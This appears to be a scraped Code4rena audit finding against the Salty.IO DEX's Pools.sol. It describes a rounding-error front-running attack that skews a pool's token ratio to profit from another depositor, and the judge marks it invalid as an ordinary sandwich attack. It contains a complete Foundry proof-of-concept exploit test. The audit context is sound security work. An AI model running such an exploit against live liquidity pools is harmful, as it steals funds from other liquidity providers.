Closed c4-bot-8 closed 6 months ago
othernet-global (sponsor) confirmed
I agree with judge @Picodes that this is a classic sandwich attack. It could happen on any DEX as soon as the liquidity is extreme low. The reason this attack exists is that Charlie offers a profitable slippage under such extreme conditions.
To avoid repetition, I will redirect to my comment here : https://github.com/code-423n4/2024-03-saltyio-mitigation-findings/issues/108#issuecomment-1994339069 and here: https://github.com/code-423n4/2024-03-saltyio-mitigation-findings/issues/127#issuecomment-1995144824
and await for the final decision.
Picodes marked the issue as unsatisfactory: Invalid
Lines of code
https://github.com/othernet-global/salty-io/blob/main/src/pools/Pools.sol#L193-L194
Vulnerability details
Summary
Precision loss in these steps inside function
removeLiquidity()
while calculatingreclaimedA
andreclaimedB
allows a malicious user to manipulate token ratio and steal funds from other liquidity providers.Attack Scenario
token1
andtoken2
, the fair ratio to be maintained fortoken1:token2
is1:2
. One can imagine that1 wei
of token1 =$2
and1 wei
of token2 =$1
.depositLiquidityAndIncreaseShare(token, token2, 101, 202, 101, 202, 303, block.timestamp, false)
to deposit101 wei
and202 wei
of the tokens with proper slippage parameters. She gets101 + 202 = 303
shares.101 wei
and202 wei
.101 wei
and202 wei
.1111 wei
and token2 =2222 wei
. Bob and his alternate accounts have a total of3030
shares out of the entire3333
shares.depositLiquidityAndIncreaseShare( token1, token2, 303 ether, 606 ether, 303 ether, 603 ether, 903 ether, block.timestamp, false )
to attempt a deposit of303 ether
&606 ether
. He understands that in a dynamic market various swaps might be happening at the same time, effecting the price ratios, hence provides a slippage of less than0.5%
for token2 by specifying minimum token2 as603 ether
and a slippage of around0.67%
by specifying minimum shares as903 ether
. He does not tolerate any slippage for token1 in our example.withdrawLiquidityAndClaim(token1, token2, 5, 0, 0, block.timestamp)
10 times, once with each account of his. This removes 5 shares each time. Let's look at the numbers:Instead of removing tokens in the ratio of
1:2
, the protocol removed them in the ratio1:3
. Bob made a loss here since 5 shares of his were lost and not 4. But later on, he will gain more than he loses. Total shares remaining now =3333 - 5 = 3328
.Another unbalanced removal.
1101 : 2192 = 1.990917347865576748
.903495912806539509536
shares. His slippage parameters were invoked.1 ether
of token2 for token1. He callsdepositSwapWithdraw(token2, token1, 1 ether, 0, block.timestamp)
and receives501449772049837887
or0.5014 ether
of token1, higher than the market rate of0.5 ether
.2980
liquidity shares across all his accounts to be credited with997 token1
and1992 token2
.Bob's final profit is around
$ 2899544099675770
.Impact
Bob can steal funds from Charlie and profit.
Proof of Concept
Click to view PoC
Create a new file `src/staking/tests/LiquidityManipulation.t.sol` with the following code and run via `COVERAGE="yes" NETWORK="sep" forge test -vv --rpc-url https://rpc.ankr.com/eth_sepolia --mt test_t0x1c_RoundingErrorWhileRemovingLiquidity`: ```js // SPDX-License-Identifier: Unlicensed pragma solidity =0.8.22; import "../../dev/Deployment.sol"; contract LiquidityManipulation is Deployment { bytes32[] public poolIDs; bytes32 public pool1; IERC20 public token1; IERC20 public token2; address public constant alice = address(0x1111); address public constant bob = address(0x2222); address public constant charlie = address(0x3333); uint256 token1DecimalPrecision; uint256 token2DecimalPrecision; function setUp() public { // If $COVERAGE=yes, create an instance of the contract so that coverage testing can work // Otherwise, what is tested is the actual deployed contract on the blockchain (as specified in Deployment.sol) if ( keccak256(bytes(vm.envString("COVERAGE" ))) == keccak256(bytes("yes" ))) initializeContracts(); grantAccessAlice(); grantAccessBob(); grantAccessCharlie(); grantAccessDeployer(); grantAccessDefault(); finalizeBootstrap(); vm.prank(address(daoVestingWallet)); salt.transfer(DEPLOYER, 1000000 ether); token1DecimalPrecision = 18; token2DecimalPrecision = 18; token1 = new TestERC20("TEST", token1DecimalPrecision); token2 = new TestERC20("TEST", token2DecimalPrecision); pool1 = PoolUtils._poolID(token1, token2); poolIDs = new bytes32[](1); poolIDs[0] = pool1; // Whitelist the _pools vm.startPrank( address(dao) ); poolsConfig.whitelistPool(token1, token2); vm.stopPrank(); vm.prank(DEPLOYER); salt.transfer( address(this), 100000 ether ); salt.approve(address(liquidity), type(uint256).max); vm.startPrank(alice); token1.approve(address(liquidity), type(uint256).max); token2.approve(address(liquidity), type(uint256).max); vm.stopPrank(); vm.startPrank(bob); token1.approve(address(liquidity), type(uint256).max); token2.approve(address(liquidity), type(uint256).max); token1.approve(address(pools), type(uint256).max); token2.approve(address(pools), type(uint256).max); vm.stopPrank(); vm.startPrank(charlie); token1.approve(address(liquidity), type(uint256).max); token2.approve(address(liquidity), type(uint256).max); token1.approve(address(pools), type(uint256).max); token2.approve(address(pools), type(uint256).max); vm.stopPrank(); token1.transfer(address(dao), 1000 * 10**token1DecimalPrecision); token2.transfer(address(dao), 1000 * 10**token2DecimalPrecision); vm.startPrank(address(dao)); token1.approve(address(liquidity), type(uint256).max); token2.approve(address(liquidity), type(uint256).max); vm.stopPrank(); } // Convenience function function totalSharesForPool( bytes32 poolID ) public view returns (uint256) { bytes32[] memory _pools2 = new bytes32[](1); _pools2[0] = poolID; return liquidity.totalSharesForPools(_pools2)[0]; } function test_t0x1c_RoundingErrorWhileRemovingLiquidity() public { // ******************************* SETUP ************************************** // Give Alice, Bob & Charlie some tokens for testing token1.transfer(alice, 101); token2.transfer(alice, 202); token1.transfer(bob, 1010); token2.transfer(bob, 2020 + 1 ether); token1.transfer(charlie, 303 ether); token2.transfer(charlie, 606 ether); assertEq(totalSharesForPool( pool1 ), 0, "Pool should initially have zero liquidity share" ); assertEq(liquidity.userShareForPool(alice, pool1), 0, "Bob's initial liquidity share should be zero"); assertEq(liquidity.userShareForPool(bob, pool1), 0, "Bob's initial liquidity share should be zero"); assertEq(liquidity.userShareForPool(charlie, pool1), 0, "Charlie's initial liquidity share should be zero"); assertEq( token1.balanceOf( address(pools)), 0, "liquidity should start with zero token1" ); assertEq( token2.balanceOf( address(pools)), 0, "liquidity should start with zero token2" ); // deposit ratio of 1:2 i.e token1's price is 2 times that of token2 uint256 addedAmount1 = 101; uint256 addedAmount2 = 202; // Alice adds liquidity in the correct ratio, as the first depositor vm.prank(alice); uint256 addedLiquidityAlice = liquidity.depositLiquidityAndIncreaseShare( token1, token2, addedAmount1, addedAmount2, addedAmount1, addedAmount2, addedAmount1 + addedAmount2, block.timestamp, false ); console.log("addedLiquidityAlice =", addedLiquidityAlice); assertEq(liquidity.userShareForPool(alice, pool1), addedLiquidityAlice, "Alice's share should have increased" ); assertEq( token1.balanceOf( address(pools)), addedAmount1, "Tokens were not deposited into the pool as expected" ); assertEq( token2.balanceOf( address(pools)), addedAmount2, "Tokens were not deposited into the pool as expected" ); assertEq(totalSharesForPool( pool1 ), addedLiquidityAlice, "totalShares mismatch after Alice's deposit" ); vm.startPrank(bob); uint256 bobInitialBalance = 2 * token1.balanceOf(bob) + token2.balanceOf(bob); // Dollar value of his holdings // Bob's 10 accounts add some liquidity too in the correct ratio uint numberOfAccountsUsedByBobForTheAttack = 10; uint256 addedLiquidityBob = liquidity.depositLiquidityAndIncreaseShare( token1, token2, numberOfAccountsUsedByBobForTheAttack * addedAmount1, numberOfAccountsUsedByBobForTheAttack * addedAmount2, 0, 0, 0, block.timestamp, false ); console.log("addedLiquidityBob =", addedLiquidityBob); skip(1 hours); emit log_named_decimal_uint ("Initial ratio of token2:token1 =", 1e18 * token2.balanceOf(address(pools)) / token1.balanceOf(address(pools)), 18); // ******************************* SETUP ENDS ************************************** console.log("\n\n***************************** Bob Attacks ************************************\n"); // @audit : Bob front-runs Charlie & removes liquidity while exploiting the rounding error uint256 liquidityToRemove = 5; // @audit : this causes an "unbalanced" token reduction // Bob's multiple accounts remove liquidity for (uint repeat; repeat < numberOfAccountsUsedByBobForTheAttack; repeat++) { liquidity.withdrawLiquidityAndClaim(token1, token2, liquidityToRemove, 0, 0, block.timestamp); skip(1 hours); // @audit-info : "skip" needed just for PoC, not in real attack since 10 different accounts of Bob will be used } vm.stopPrank(); console.log("\nSkewed reserve ratio now:\n token1 = %s, token2 = %s\n", token1.balanceOf(address(pools)), token2.balanceOf(address(pools))); emit log_named_decimal_uint ("Manipulated ratio of token2:token1 =", 1e18 * token2.balanceOf(address(pools)) / token1.balanceOf(address(pools)), 18); // Charlie transaction goes through now which adds liquidity with suitable slippage parameters vm.prank(charlie); // @audit-info : 0.5% slippage for token2 liquidity.depositLiquidityAndIncreaseShare( token1, token2, 303 ether, 606 ether, 303 ether, 603 ether, 903 ether, block.timestamp, false ); // Bob swaps vm.prank(bob); (uint256 swappedOut) = pools.depositSwapWithdraw(token2, token1, 1 ether, 0, block.timestamp); emit log_named_decimal_uint("token1 swappedOut in exchange for 1 ether of token2 (should be greater than 0.5 ether) =", swappedOut, 18); // Bob withdraws all his shares skip(1 hours); vm.prank(bob); liquidity.withdrawLiquidityAndClaim(token1, token2, addedLiquidityBob - liquidityToRemove * numberOfAccountsUsedByBobForTheAttack, 0, 0, block.timestamp); uint256 bobFinalBalance = 2 * token1.balanceOf(bob) + token2.balanceOf(bob); // In Dollar terms assertGt( bobFinalBalance, bobInitialBalance, "Bob did not profit" ); console.log("\nProfit made by Bob = $", bobFinalBalance - bobInitialBalance); } } ```Output:
Recommended Mitigation Steps
We need to make sure only the correct proportion of reclaimed tokens is allowed. So calculate the smaller of the
reclaimedA
vsreclaimedB
values and then express the other in terms of the former. This will thwart the attempt to manipulate the ratios in any way viaremoveLiquidity()
:Assessed type
Math